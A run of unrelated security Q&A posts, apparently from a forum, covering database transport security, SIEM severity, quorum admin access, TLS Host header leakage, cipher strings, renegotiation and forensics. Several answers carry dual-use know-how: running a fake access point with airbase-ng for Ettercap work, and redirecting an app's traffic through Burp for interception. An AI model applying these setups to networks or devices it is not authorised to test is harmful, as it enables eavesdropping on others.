MySQL database (non-SSL) connections secured via origin/destination IPs, how unsafe are they? I am testing an Amazon RDS MySQL solution: the database is provided by Amazon RDS but the application logic (php scripts) that accesses the data is hosted in another, different (non-amazon) server.

Suppose that for some reason I can't use MySQL SSL connections and I rely only on the security provided by the origin/destination policies you can set on Amazon VPC: I can say that the MySQL instance can accept traffic ONLY from a specific IP (the IP of my Web server) and can send traffic ONLY to a specific IP (again, the IP of my Web server).

How unsafe is this solution? I know the question seems too vague, but there are some specific details I would like to clarify; let's try to see what can happen:

1) Data (including MySQL credentials) are sent in clear over the Internet, so if it is sensible data, it might be seen by an external party. How easy is this attack? The fact we are using IP and not domain names in the policy makes a man-in-the-middle attack more difficult to execute?

2) Assume an attacker manages to steal the MySQL credentials using 1), how easy executing arbitrary queries on the MySQL instance would be? The attacker has to pretend to have my webserver's IP, operation that should be harder in "receiving mode" than in "sending mode". So I guess there are two different categories of queries we should consider separately:

A: Arbitrary SELECT queries (in general, queries that ask for some kind of data back)

B: Arbitrary DELETE, UPDATE, INSERT, ... (in general, queries that doesn't need an answer)

I would say queries B are easier to execute but this might depend on other factors such as the specific protocol used by MySQL.

You are correct to be concerned about the scenarios you presented:

If a MITM attack occurs, it cannot be thwarted unless you use SSL. The IP filter will not help because the attack is already "in the middle" of the connection, so all traffic will pass through it in plain text. Once the user/pass is grabbed, the attacker can do whatever those credentials allow. The attacker could even spoof the IP and hijack the connection without allowing traffic back to the original IP, if they choose to.
For attacks that are not MITM, the IP filter helps quite a bit, because even IP spoofing would only allow messages to be sent, but not received, and even then they would still need to first figure out the credentials. If they did somehow figure out the credentials they could spoof their originating IP and send commands such as delete, update, insert, etc, but it would be pretty difficult to know whether or not it was having any effect, so it would be pointless for them to try. (Like throwing rocks into a lake and wondering if you are hitting any fish on the way down.)

Your best bet is to use SSL or at least move the application and DB into the same network. If you absolutely can't do that, MITM is the most realistic attack you should worry about, but even those are pretty rare, in comparison to other types of attacks that would be attempted. You're probably more likely to have a developer accidentally leak the credentials than to have a MITM performed against you.


Best practices when classifying log messages severity in an SIEM When deploying an SIEM solution, what is the best practice when classifying the severity of each event that is being sent from individual devices?

I understand that this may be a little bit subjective and depending on the organization's monitoring objective but is there a starting point or common practices on how to classify the severity of messages?

This will entirely depend on what your goal is. Generally you need to classify the severity based on the threat of business continuity. First of all categorize per type and subcategorize:

Security Events => external, internal
Availability => hardware ( disk arrays, batteries going bad, chassis open...), software (Is the http service still available, what is the response time, what are our machines using in resources, ...)

Then for each subcategory you decide the criticality of each event yourself, keeping in mind: "What threat does this event pose for our business continuity". You could differentiate with:

Low (Warning, but no direct impact if problem increases, a failing)
Medium (Warning, but has impact if problem increases)
High (Danger, system is close to becoming unavailable)
Critical(System is down or business critical systems are close to failing)

For security events this could be the same. For instance, an external port scan might be a medium risk, you need a warning, but it's probably just internet noise, whereas a port scan coming from the internal network is a lot more worrying.


operating system requiring two or more users to access admin account Suppose I'm designing a system where I want to make sure that no single user who goes rogue can commit a malicious action.  (I'm ducking the question of how two or more users could collude.)  And I assume the machine is physically secure.

One possibility would be to require that the admin logon password be split between two people -- one person types in the first 10 characters, the second person types in the second 10 characters.  Account protocol dictates that any user who has a portion of the password can be responsible for actions committed from that account -- i.e., once the pair log in, both of them have to stay there and babysit each other until they log off from the account.  (Because it's annoying to require two people to be present, the overall architecture should be designed to require the minimum number of actions to be carried out from this privileged account, which is good design anyway.)

One problem is that this is brittle -- if one user becomes available, the whole account is inaccessible.

So, instead, the operating system can split the administrator account between 3 usernames, each with their own username and password.  The admin login screen presents 2 username/password forms, and to access the admin account, 2 out of 3 of those users have to enter their credentials.  This retains the property that no single user going rogue can access the admin account, but it also means that the account can still be accessed if 1 of the 3 users is unavailable.

This seems like a useful feature.  Does it have a name?  Does any operating system implement anything like this?

(I realize that things get complicated if, for example, you have an encrypted folder on the hard disk, which most systems handle by encrypting the folder in a way that incorporates the user's password as part of the decryption key.  If you want to make sure that the encrypted folder can be decrypted whenever 2 out of 3 users log in, but that no user by themselves can decrypt the folder with their password even if they have access to the data on the hard disk, then you need to encrypt it using a secret-sharing scheme such that 2 out of 3 secrets are enough to decrypt it but 1 is not.  This is, however, still doable.)

What you describe is similar to Shamir's Secret Sharing, in that you need a quorum in order to operate.

However, in you case you are dealing with authorization of admin actions, rather than secret messages. If designing a system around this concept, I wouldn't generally design it that way, but do it as 'tasks' that get queued and need approval from N users.

Suppose Admin1 wants to delete the account of user55. This is an action that requires multiuser approval, so it gets logged and "Deletion of user55" is in pending status. When Admin2 logs into the system later (2 minutes later or next week, it doesn't matter), it sees that the pending of user55 is and approves it since it knows he has left the company. It is at that point that the real action would take place. This would also allow you to set different criteria depending on the sensitivity of the action (like a given action only needs an admin but another requires 5) or the exact role (a junior admin could be allowed to do some things, but certain other would require approval from two seniors).

There are bank accounts that already work this way, where there are several joint owners and the actions need to be approved by all of them. It is quite similar to the way StackExchange works, too.


How can I make sure the mic input of my laptop/computer/cell is not secretly scanned for keywords and sent to the government? I would like to learn how to search a laptop/computer/cell for processes scanning the mic input. Additionally, short of physically disabeling the mic input, is there a way to make sure nobody is tapping the input signal?

Edit: I do trust neither the OS (Windows) nor the driver.

Edit 2: It is not an option to disconnect the device (permanently) from the internet.

Current status:

For windows there is no better way than physically disabeling the microphone or to disconnect completely from the internet.
For Linux/Android there is the possiblility to check the sources.
One could try to inspect all outgoing packages for audio content.

Since there is some discussion on wether or not the driver vendors and big os companies are trustworthy, here some additional information:

NarusInsight is a "network traffic intelligence system that supports real-time precision targeting, capturing and reconstruction of webmail traffic" NarusInsight.
Magic Lantern is keystroke logging software developed by the United States' Federal Bureau of Investigation Magic Lantern.
It seems NSA access was built into Windows NSAKEY.
Microsemi put a backdoor insida a US military chip Microsemi

I would be very interested on how to make sure my laptops microphone is not used for surveillance.

In order to combat a roving bug you can install a switch to disable your microphone.


Do Auditors use a specific methodology or framework when auditing IT Backup policy? I am wondering if IT Auditors use a methodology or framework to audit a backup policy.

Here is a example of a different kind incase my question does not make sence:

~~~~~~~~~~~~~~~~~~~~~~~~~
A programmer may use a methodology which refers to the 'Waterfall Method' in relation to their design/ approach.
~~~~~~~~~~~~~~~~~~~~~~~~~

It depends on the industry. Healthcare? Retail?

For instance, Healthcare has accreditation bodies like Joint Commission who primarily rely on HIPAA as a guide. Retail is expected to follow PCI standards to protect customer financial data (like credit card information).

Ultimately, all backup audits will typically look at several key concerns:

backup frequency
maximum Return to Operation time using current backup method
Data retention policies

some industries require a minimum retention time

Security of the backup media

physical security
offsite storage
encryption

Obviously, there may be other concerns, but those are the highlights.


OAuth2 authorization - save token in the cookies or in the session? I'm a security newbie. I'm implementing oauth on my site and I want to ask where I should save my access token:

cookies
session (will be fetch from the server via ajax request)

I have backend (restful) and frontend (SPA). Communication only between them.

By the way what is recommended expire time for oauth?

Storing the access token in cookies may be vulnerable to some client side attacks (stealing user cookies for example). Use session instead and HTTPS for communication.


does Avast SafeZone actually make a difference? SafeZone is a feature in Avast Anti-Virus which is like a virtual machine that only has a web broswer. The benifit of this is that it can't be infected with spyware and isn't suseptible to keylogers. This makes it useful for online banking and other sensitive activities.

Is there any truth to that? The only thing keeping me from switching to ESET Smart Security is this feautre, and Avast's firewall integrates with the Windows firewall. How does SafeZone work?

Yes, this is a well established technique for secure access to online banking and such.

The idea is to build a brand new machine from scratch every time you want to log onto your bank, and wiping it afterwards. Because the machine is only on for a few brief moments at a time, and because you do nothing with it apart from visiting your bank, it becomes very hard for spyware or other malicious software to infect it.

Obviously building a machine from bare metal every time is a pain, so to make this a practical technique you either use a VM, using a fresh copy of the disk image every time you use it, which is the approach SafeZone takes or a LiveCD.

It's a good technique, but if you want to switch to a different vendor, you still can, and implement this technique yourself. The easiest way is a LiveCD; a VM is very slightly harder to set up but easier to use. Both are available for free, for example you can grab a Ubuntu LiveCD from http://www.ubuntu.com/download/desktop or a copy of VMPlayer from http://www.vmware.com/products/player/

I suggest above that you use a fresh copy of the disk image with the VM; alternatively you can use the same image each time. This is slightly less secure in theory, but still fine for regular use, and makes it simpler. SafeZone defaults to this approach it appears, with a button to push if you do want to throw away a used image.
(hat tip to @polynomial's comment below for this)

Lastly, whether you use VM or LiveCD, one point that people sometimes miss is that you should regularly make sure that you have updated them with the latest security patches.


Call center recording my credit card info I just made a new contract over the phone with my mobile phone provider and I needed to pay the activation fee. The lady told me that they could accept only credit cards and asked me for the full details (number, expiry date, and security code, the usual stuff) over the phone.

However, she took the details personally (to input them in whatever database they use) and the calls are recorded.

I am now concerned about the security of my information: not only she has full access to my credit card, but also whoever listens to the recording. It's a big and well-known provider, so I don't think they could do something shady, but it still bothers me. Is it really acceptable? Should I have refused?

(Note: I live in Switzerland and I don't know exactly what are the data protection regulations here)

They are allowed to record everything but the SAD (Secure Authentication Data, the security code that's printed on the back of the card) as long as they encrypt the recording or otherwise scramble it.  To quote the PCI SSC Information Supplement
Protecting Telephone-Based Payment Card Data:

  Use strong cryptography to protect any CHD that is stored - for
  example, in audio recordings or in a database - or otherwise render
  the stored data unreadable - for example, via truncation or hashing.
  Sensitive authentication data (SAD) must not be stored after
  authorization, even if encrypted. This applies even where there is no
  PAN in the environment.

Other precautions are laid out, such as making sure call center employees do not have note pads or cell phones with which they can make copies of your card data.

Unfortunately, you have no way of knowing which precautions are in place.  It's common for a merchant to take your call off recording for the recitation of card details, and return to recording after that's done.  Usually this is announced to the caller, but it need not be.  And there's no way for you to know what encryption they may or may not be using for the recordings.

For what it's worth, the risk you face here is no greater - and probably lower - than you face every time you hand your card to restaurant waitstaff and allow them to take it away in order to charge your card.


Why must all classes' data members be set to private? In OO programming courses, teachers always tells us to set class members to private unless there is a good reason because it is more "secured".

How does setting  members to private makes the program more secure? What are the potential threats for setting class members public?

Actually putting a class member on public or private has nothing to do with security. This answer on stackoverflow covers it quite well:

What are public, private and protected in object oriented programming?

Also note that there are languages like Python where there is just a convention to start private methods with an underscore. However every programmer can still access this method from another class. This Stackoverflow question covers this pretty well: Why are Python's 'private' methods not actually private?


Can the IPS technology in a UTM prevent a DDoS attack? Does a Unified Threat Management appliance (UTM) with Intrusion Prevention (IPS) enabled have the ability to prevent a DDoS attack? I have read some articles and none of them have a perfect explanation.

No, generally not, although of course they say they can.

DDoS is about volume
UTM is almost always at the local end of Internet access
Therefore, DDoS can usually fill the Internet pipe before even reaching a UTM device.

The reasoning -

By definition a DDoS - being Distributed - is taking advantage of multiple attack points to generate a level of traffic which overwhelms the victim.  Unlike a DoS, which may rely upon clever tricks and fragile IP stacks to cause problems based on the parsing of traffic, a DDoS is all about the volume.

Let's say that you've got a big site sitting at the end of a 10 Gigabit link.  Your ISP, of course, can handle much higher volume, but when their router connects to your router, they're only allowing 10 Gbps through.

Now an attacker sends 321 Gbps of traffic to you.  What's your UTM going to do?  It can only work with the meager 10 Gbps trickle, and the most it can do is turn it away - but at that point, the damage has already been done.  Your legitimate traffic is already disrupted and probably not making it in to you because the line is busy.

For protection from DDoS, you need to turn to someone like Prolexic (now part of Akamai, but Akamai does other stuff too, so I use their old name to reduce ambiguity).  These providers have massive bandwidth, and during an attack your re-route your traffic through them, and only they're allowed to send traffic along to you.  They can buffer the attack and try to identify and drop the bad traffic before it traverses your puny 10 Gig link.

I don't doubt many UTM devices still say they can help with DDoS.  My car also claims to be rustproof, but I've got rust spots.  A true DDoS can't be mitigated at the endpoint, and UTMs are almost always at the endpoint.


What is safebrowsing.google.com ?Does it impact the security testing? I recently security tested my web application using Firefox browser and while pentesting my webapplication i noticed safebrowsing.google.com,while i diged more about it ,i could able to retreive only the following information :

POST https://safebrowsing.google.com/safebrowsing/downloads?client=navclient-auto-ffox&appver=30.0&pver=2.2&key=AIzaSyD-s-mXL4mBzF7KMRkhTCIbG2RKnRGXzJc HTTP/1.1
Host: safebrowsing.google.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Length: 5148
Content-Type: text/plain
Cookie: PREF=ID=d802a963ac565a49:TM=1430816056:LM=1430816056:S=Mcs7IJmXmv8slghn; NID=67=m9-42qMKY6sRGB-KSRsiFYfjsijMBZqa_w5DJnXmT3x2c2IOBVv6IezuvZ-CX9wqAvyeFJ_VXkF9FDMuC1bDSYlt0rnxiYbIWQJsfMTG1cGLoFKfK-QYhPkLgAo0Ybxi
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

Now my questions were few:

does google spy's on my security tests?if so how could i prevent from it.

what is safebrowsing.google.com?why it get recorded at my scripts

My test environment is as follows :

browser : firefox version 38 with no addons

pentesting tool : zapproxy of owsap

Firefox takes hashes of various page parameters (mainly URL segments) and passes them back as part of Google's SafeBrowsing scheme. It cannot readily identify parameters or other information that you pass to the target - it's just used to check against a list of known attack domains.

As per these instructions, you can turn SafeBrowse off:

  Firefox button > Options > Options (or Tools > Options) > Security, un-check both "Block reported attack sites" and "Block reported web forgeries"


Hiding HOST Header from HTTP Request I would like to visit a site which supports HTTPS but to allow as few third-parties as possible to know which site I am visiting, excluding onion sites, through the HTTP Host Header.

As I currently know, the HTTP Host Header can be viewed in plaintext by anyone monitoring my network (when visiting HTTPS sites) and I would like to mitigate this as much as possible.

An inefficient solution I thought of would be to create an open-source website which supports SSL (say, HTTPHostHider.com) that creates the connection and securely transfers the requested site's public key to the client. Below is what I mean.

Client wants to see contents of example.com
Client request headers sent to https://HTTPHostHider.com
HTTPHostHider.com returns example.com response headers and public key
Client send encrypted contents to HTTPHostHider.com
HTTPHostHider.com sends request to example.com
example.com sends page contents to HTTPHostHider.com
HTTPHostHider.com sends page contents to client

from what I understand, if the client directly contacts https://example.com then the HTTP HOST header can be seen by eavesdroppers (and thus deduce what I was doing on that site - the URL reveals what it is for - eg. freeporn.org).

So my question is: How do I not leak my HTTP Host Header?

Sorry if question not clear; English is not my first language

As I currently know, the HTTP Host Header can be viewed in plaintext by anyone monitoring my network (when visiting HTTPS sites) and I would like to mitigate this as much as possible.

This is wrong. The HTTP Host header is part of the HTTP protocol and with a HTTPS connection all of the protocol is encrypted with SSL/TLS. Thus the host header is only visible for the endpoints of the SSL/TLS connection.

But inside the SSL/TLS handshake itself there are several parts which show the hostname in plain text: in most connections the ClientHello contains the name in the form of the SNI extension. The certificate send by the server then contains the name in the CN and/or subject alternative names. And even before the SSL/TLS connection is started a DNS lookup will be done to find out the target IP address and this lookup also shows the name in plain text.

  So my question is: How do I not leak my HTTP Host Header?

The information need to be visible because they are required to establish the connection. The only question is who should see the information. If you fear sniffing by somebody on the way (i.e. ISP) you need to use a VPN, proxy accessed by HTTPS, Tor or similar to encrypt any data from you to some endpoint endpoint so that this specific party cannot see it. Once the connection left the endpoint all parties on the way can again see the information you want to hide so you need to take care where you place your  endpoint.

  An inefficient solution I thought of would be to create an open-source website which supports SSL (say, HTTPHostHider.com) that creates the connection and securely transfers the requested site's public key to the client.

A public proxy which can be accessed using HTTPS is mostly related to what you propose here, only that it would actually work. But this still leaves the problem why somebody should setup such a public site, because this way he might get liable for any illegal activity using this site. That's for example a typical problem when somebody is trying to setup a Tor exit node, because Tor is used to hide both legal and illegal activities.


Is there a practical way to identify security vulnerabilities that were published following a full disclosure policy? I am conducting a study about the different vulnerability disclosure policies in an effort to determine how long it takes for a given vendor to issue a fix/patch, depending on how a given vulnerability was disclosed. The problem is, I have a hard time to identify "fully disclosed" vulnerabilities (vendor was not notified prior to public disclosure). It seems that responsible disclosure is the norm nowadays, to the point that when a security researcher does not notify the vendor and fully discloses a vulnerability, people go crazy about it (this tweet and all the articles that followed). Note that I am not an advocate of either policies, I am simply conducting research as objectively as possible.

Does anybody know if it is possible to retrieve all vulnerabilities that were published following a full disclosure policy? Maybe someone out there has done this apparently tedious work and is willing to share it :) Or there is a website / tool that I don't know about that does just that.

If not, I guess I would have to look at each vulnerability entry (for a given vendor, of course), analyze the disclosure timeline (if any), find out when the patch was issued, and if vulnerability disclosure and patch release turn out to be on the same day --> responsible disclosure, and if patch release is on a later date --> full disclosure (or the vendor went past the 45 days deadline from CERT, for instance). Time consuming? Definitely. Realistic? Probably not. But would the results be accurate in your opinion?

Thanks!

One of the methods you can use to create a baseline would be to go to sites like PacketStorm find say the last 50 vulnerabilities/exploits disclosed, then find out whether or not they have CVEs issued on Mitre. A baseline will give you just that, a baseline average. There are a few things to take into considerations:

Not all exploits/vulnerabilities are always disclosed by researchers
or vendors
Not all vulnerabilities/exploits end up having a CVE

In regards to #1, I have CVEs issued to me for vulnerabilities that although the vendor has patched, I didn't see a need to start writing vulnerability disclosures to send to full disclosure, bugtraq, or other similar sites. This is usually for a few reasons 1) I am too busy to be bothered 2) there is no fix and therefore no need to raise the level of attacks (if someone else finds it, so be it) 3) vendors can be 'tough' to deal with. I once reported a vulnerability to a networking equipment manufacturer, and it took them 2 years to fix. This consisted of weeks on end of me giving away free time explaining things, re-testing, and so forth.

As for your other comments: "Same day patch" is non-existent. Any company willing to put forth a patch in one day would be doing so recklessly. Programmers need to ensure legacy applications can still function, and things aren't broken with a patch/update/fix. This is a time consuming process, and any application development house has processes and policies in place that follow rigorous testing/fixes. As for the '45 day' disclosure this is not set in stone:

  Q: Will all vulnerabilities be disclosed within 45 days? A: No. There
  may often be circumstances that will cause us to adjust our
  publication schedule. Threats that are especially serious or for which
  we have evidence of exploitation will likely cause us to shorten our
  release schedule. Threats that require "hard" changes (changes to
  standards, changes to core operating system components) will cause us
  to extend our publication schedule. We may not publish every
  vulnerability that is reported to us. http://www.cert.org/vulnerability-analysis/vul-disclosure.cfm?

Good luck with your research, at best I can see you only getting a baseline. There are too many variables, and the output may be tainted. For example: Microsoft, Cisco, and other big name vendors may be targeted as "stellar" or "unappealing" but what are you comparing them to? myjoomlasoftware.v1, or myhomebackedGitHubProject2.0? Open source, closed source, big vendor, small vendor, petprojects, githhub? These are things to take into consideration, either of which can skew your data immensely.


Can anyone tell me what's going on with two sets of strange web site visitors? Our web site is plagued by mysterious 'visitors' who consistently get no further than the home page. All of these 'visitors' have IP addresses beginning with 138.197 via Digital Ocean. The remaining IP numerals vary, all of the 'visitors' are shown as coming from Wilmington, Delaware, with no referrer. The browsers and operating systems vary. IP addresses for the past month or so are:

138.197.11.136
138.197.111.36
138.197.111.102
138.197.111.122
138.197.111.50
138.197.6.74
138.197.111.84
138.197.71.243
138.197.96.249
138.197.111.31

Many of these make multiple 'visits' in a day or a given week. I'd be happy to make whoever is behind these pseudo visits stop

I am unaware of any 'cult' following, least of all in Wilmington, DE. I am aware that the FBI has a branch there. Is there any way to know whether this is some bizarre government snooping? There's absolutely nothing of interest to them on the site, least of all on the home page, so I cannot guess why they would be bothering themselves so often making pointless visits using different computers.

Let me add in at this point that my site has been repeatedly scanned for malware or blacklisting and none has ever been found. Scans for malware and blacklisting are run daily. Consequently, my web site has absolutely nothing to do with whatever or whomever is making these bizarre visits. Likewise, my PC is running Kaspersky, has been for years, and is likewise scanned daily.

And to add to the mystery, just recently there have been a number of visits where little information is recorded about the visitor. My stats show a question mark for nearly every field with the exception of the IP address and place of origin. All of these newer visits are from Houston, Texas USA and begin with 34...* but the subsequent numerals are always different. Here is a list of those IP's:

34.250.99.222
34.252.124.230
34.240.95.112
34.240.26.189
34.250.6.11
34.253.0.71

Neither of these mysterious visitors' visits are so numerous to be any kind of DOS attack, so I can't guess what they are about.

Anyone know what's going on with these two phenomena?

Thanks.

Probably just some crawlers, bots, nothing to worry about it. Just make sure that your website is secure and there is no data leaking.

From my experience I saw that many website owners are just careless about their data, so it is easy to find sensitive data on their website.

Especially take a good look if some of these kind of files are publicly available:

*.sql, *.log, *.bak, *.old etc.

Just run:

find . -type f -name "*.sql"

Than check on Google:

site:yourwebsite.com ext:sql

Use Google Alerts, it will alert you if any of your sensitive data appear in Google searches.


Airmon-ng confliciting with network manager in Kali When starting monitor mode on wlan0 using airmon-ng start wlan0 I got a list of processes 'including network manager' that could cause troubles.
I must kill those processes before starting airbase-ng --essid network -c 6 wlan0mon or I will have this error:

ioctl(SIOCSIWMODE) failed: Operation not supported
ARP linktype is set to 1 (Ethernet) - expected ARPHRD_IEEE80211,
ARPHRD_IEEE80211_FULL or ARPHRD_IEEE80211_PRISM instead.  Make
sure RFMON is enabled: run 'airmon-ng start wlan0mon <#>'
Sysfs injection support was not found either.

Killing the process network manager solves the problem, but I need the network manager for further Ettercap activites.

So, anyway to fix the confilicting between network-manager and airmon-ng ?

This is because NM is set to control all your interfaces. So when you kill NM you kill all the interfaces.

You have two approaches, disable NM completely and manually configure your interfaces individually or allow NM to control all the interfaces apart from the wireless one you want to use with airmon.

Depending on the distro depends on how you do this. If the distro is red hat based then typically you just put
NM_CONTROLLED=no in the interface config file at /etc/sysconfig/network-scripts/ifcfg-wlan0.

But as your distro is Kali and debian based then add the wlan interface to/etc/network/interfaces. config file and NM will ignore it.

For example;

iface wlan0 inet static
        address 10.10.168.1
        netmask 255.255.0.0
        gateway 10.10.168.10

Then restart both the networking and network manager daemons with sudo /etc/init.d/networking restart && service network-manager restart

Or you can configure network manager directly to ignore the interface by editing /etc/NetworkManager with the following.

[main]
plugins=keyfile

[keyfile]
unmanaged-devices=mac:*your wlan interface mac address here*


Why are ciphers using DSS being offered when using DH+AES:!DSS? When I run the following command on Windows 10 with OpenSSL 1.0.2p installed I receive a curious result back (Formatted for readability):

openssl ciphers "DH+AES:!DSS:!aDSS:!aNULL"

DH-DSS-AES256-GCM-SHA384
DH-RSA-AES256-GCM-SHA384
DHE-RSA-AES256-GCM-SHA384
DHE-RSA-AES256-SHA256
DH-RSA-AES256-SHA256
DH-DSS-AES256-SHA256
DHE-RSA-AES256-SHA
DH-RSA-AES256-SHA
DH-DSS-AES256-SHA
DH-DSS-AES128-GCM-SHA256
DH-RSA-AES128-GCM-SHA256
DHE-RSA-AES128-GCM-SHA256
DHE-RSA-AES128-SHA256
DH-RSA-AES128-SHA256
DH-DSS-AES128-SHA256
DHE-RSA-AES128-SHA
DH-RSA-AES128-SHA
DH-DSS-AES128-SHA

This issue seems to only occur for non-ephemeral implementations of DH (There is no DHE-DSS-... in the list of ciphers). I'd like to use Diffie-Hellman ciphers without using DSS. Is there a way to configure OpenSSL to honor this?

From the documentation of ciphers:

  aDSS, DSS
  cipher suites using DSS authentication, i.e. the certificates carry DSS keys.

To have a closer look at the ciphers you wonder about:

$ openssl ciphers -V 'DH+AES:!DSS:!aDSS:!aNULL' | grep DSS
      0x00,0xA5 - DH-DSS-AES256-GCM-SHA384 TLSv1.2 Kx=DH/DSS   Au=DH   Enc=AESGCM(256) Mac=AEAD
      0x00,0x68 - DH-DSS-AES256-SHA256     TLSv1.2 Kx=DH/DSS   Au=DH   Enc=AES(256)    Mac=SHA256
      0x00,0x36 - DH-DSS-AES256-SHA        SSLv3 Kx=DH/DSS     Au=DH   Enc=AES(256)    Mac=SHA1
      0x00,0xA4 - DH-DSS-AES128-GCM-SHA256 TLSv1.2 Kx=DH/DSS   Au=DH   Enc=AESGCM(128) Mac=AEAD
      0x00,0x3E - DH-DSS-AES128-SHA256     TLSv1.2 Kx=DH/DSS   Au=DH   Enc=AES(128)    Mac=SHA256
      0x00,0x30 - DH-DSS-AES128-SHA        SSLv3 Kx=DH/DSS     Au=DH   Enc=AES(128)    Mac=SHA1

Have a closer look at the 'Au=...' column which describes the authentication used. Clearly all of these are using Au=DH and not Au=DSS, i.e. they are not using DSS for authentication and are thus not covered by the DSS string in the ciphers setting. All of these are using DSS only within the key exchange as Kx=DH/DSS shows.

Au=DH essentially means that the certificate contains a static Diffie Hellman key as subject public key info which is used for authentication and with Kx=DH/DSS also as part of the key exchange.


How should I defend against zero-day attack on SSH? Vulnerabilities are discovered everyday. The recent Heart bleed attack caught many people off guard. I was wondering if a serious flaw was to be discovered that allows unfettered access to SSH, how should I defend myself and minimize my exposure to such an attack in order to have sufficient time to patch the server?

Setup a port knock daemon which opens the firewall for some time when specific ports are "touched" in some specific order. See for more information Port knocking


Should I use SSL/TLS renegotiation? Should I use SSL/TLS renegotiation? In other words: does SSL/TLS renegotiation enhance or weaken the security?

The problem is not in doing a renegotiation; it is in believing in security characteristics that the renegotiation does not provide.
Renegotiation is making a new handshake while in the middle of a SSL/TLS connection. This is described in the standard, albeit not in very clear terms, especially when it comes to defining what guarantees renegotiation offer.
Renegotiation is very common when used with client certificates, especially with IIS. Things go like this:

Server receives a connection request on port 443; it begins a handshake. The server does not ask for a client certificate.
Once the handshake is completed, the client sends the actual target URL as a HTTP request in the SSL tunnel. Up to that point, the server did not know which page was targeted; he only knew, at best, the intended server name (through the Server Name Indication). Now that the server knows which page is targeted, he knows which "site" (i.e. part of the server, in IIS terminology) is to be used.
If the specific site requires or at least demands certificate-based client authentication, the server triggers a new handshake, this time with a CertificateRequest message.

The security issue here is a question of layers. Handshake messages appear "under the cover" as administrative out-of-band administrative interactions, around the main "application data" traffic, which is just HTTP. Once the new handshake has been performed, any subsequently sent application data is covered by the authentication umbrella of SSL. However, what of the application data which was sent before the second handshake, in particular the initial HTTP request which decided the server to perform a second handshake, or, crucially, other HTTP requests pipelined after it (but before the new handshake) ?
It so happens that Web servers tended to just assume that whatever authentication was just performed in the second handshake could be "transported" to previous data, retroactively. It so happens that it is not true. That's never clearly said in the SSL/TLS standard, but such authentication only acts in a forward way: no time travel. The important word in the previous paragraph is "subsequently". This allowed an actual attack (see this page for pointers to extensive explanations).
A crucial point for the practical attack is that the second handshake messages are indistinguishable from the handshake messages for a new connection (i.e. a "first handshake"). RFC 5746 describes the patch, which has been implemented in major browsers and servers (which we assume to be up-to-date with security fixes; otherwise, you are in big trouble anyway). This is also what OpenSSL reports as "Secure Renegotiation". Note that the RFC candidly says that:

While this extension mitigates the man-in-the-middle attack described
in the overview, it does not resolve all possible problems an
application may face if it is unaware of renegotiation.

In other terms, this is a patch to fix a demonstrated issue, but it does not claim to cover all grounds. What renegotiation really offers is still not clearly defined anywhere. If your clients and server support "Secure Renegotiation" then things are fine for now (it prevents all currently known attacks). The whole concept of renegotiation and interleaved handshakes is still sorely in need of a more formal analysis.


Burp+Genymotion: Not all traffic from app in Emulator proxied through Burp I've set up Burp+Genymotion like this: https://linuxsuperuser.com/configure-burp-suite-proxy-genymotion/ to do some penetration testing on Android apps for work.

The Genymotion (Android 6.0.0, API 23) Wifi settings are:

proxy: 10.0.3.2, port: 8080, and the Portswigger CA certificate is properly installed.

Burp (v1.7.21) settings: Proxy listeners listening to 'loopback only' for 127.0.0.1:8080

My machine is a Windows 10 Pro (1703) Desktop PC.

This setup works to intercept almost all traffic from browsers and apps, also https.

But somehow some apps still manage to tunnel some traffic around burp.

Is there any way to intercept that traffic as well?

Thank you

There's 3 probable cases:

Android application setting another proxy on its http requests hence bypassing system proxy and burpsuite.
Application setting its http handlers to ignore android proxy settings and connect directly to the destination.
Application is using non-http protocol.

If 1 or 2 is the case, you'll have to use wireshark or reverse engineering techniques to find the domains that the application is interacting with, lets say xxx.com and yyy.org.
You then have to use adb shell to modify /etc/hosts ,let's assume burp's listening on 10.0.3.2, add the following lines to /etc/hosts:

10.0.3.2 xxx.com
10.0.3.2 yyy.org

You might need to remount system partition as "rw" to be able to change /etc/hosts:

mount -o rw,remount,rw /system

Then under burp proxy, set it to listen on port 80 and 443, then under settings for each of these listeners enable "invisible proxy" option, if there's http/https traffic sent by the application you will now be able to see/intercept them in burp.

We are making the device resolve application's domain names to our burpsuite's address. We can also change device's DNS to our controlled server which returns burp's address for all requests. This solution falls short if the application directly connects to IP addresses rather than domain names. If the application is using non-http protocols burpsuite won't be able to catch the traffic.


Is there a way to perform data acquisition on CPU's registers? In Digital Forensics, as a best practice, an investigator should collect data from the most volatile source to the least volatile source.
Usually, when talking about live/Dynamic Acquisition, most textbooks starts with the RAM as the most volatile data source even though CPU registers are more volatile.
However, I can't seem to find a source describing data acquisition from a suspected device's CPU.
Since running any program will change at least one register (EIP/RIP).
So my questions are,
Is neglecting the data within the registers is because there is no investigative value for them? or because it is not possible?

And -depending on the answer for the above question- Is there a way to do so?

Even if no program runs, the OS itself runs. And you can't alter that - neither technically nor forensically.

Furthermore, a modern quad-core CPU can have several hundred CPU registers, most of which are invisible ! This is an optimization: when you're writing a value from a CPU register to cache, it may take a while. By using an invisible register to hold the value for a while, the CPU can continue. But as soon as the value is written, the register can be cleared. So effectively you're dealing with invisible registers that change state even if no program is running - good luck!

Which also gets us to the next problem: the CPU cache is permanently and pretty independently updating itself. It wouldn't be efficient if this would be under program control.

Now what is possible is to dump a program. A typical modern OS can save the full program state, including registers, to a disk file. On Linux this is known as a core file, on Windows as a user mode dump. This capacity was needed anyway because a multi-tasking OS may need to suspend and resume a running process (e.g. when another process is scheduled to run). Obviously, to resume the process, the registers need to be restored. Cache is typically just cleared as it shouldn't affect program correctness anyway, and therefore doesn't end up in dump files either.


Can SMS messages be traced to a specific phone after one month time has passed? I have been cyber bullied by an unknown assailant. They sent several emails using a throwaway GMail account and then sent several SMS texts from two different phone numbers. The last number actually sent texts to my 16 year old daughter, and I have no idea how they obtained her number.

Can my iPhone have been hacked?

Caller ID (which includes the SMS sender field) is spoofable by design. I'm fairly certain the numbers you have are innocent people's numbers chosen at random, and the offensive texts were actually sent through an online SMS service.

In any case, your mobile carrier may still have the logs containing which carrier the texts really originated. It may end up nowhere (if the far-end carrier is an online SMS gateway and the attackers used Tor, proxies or compromised computers to conceal their identity) but it's worth a try.

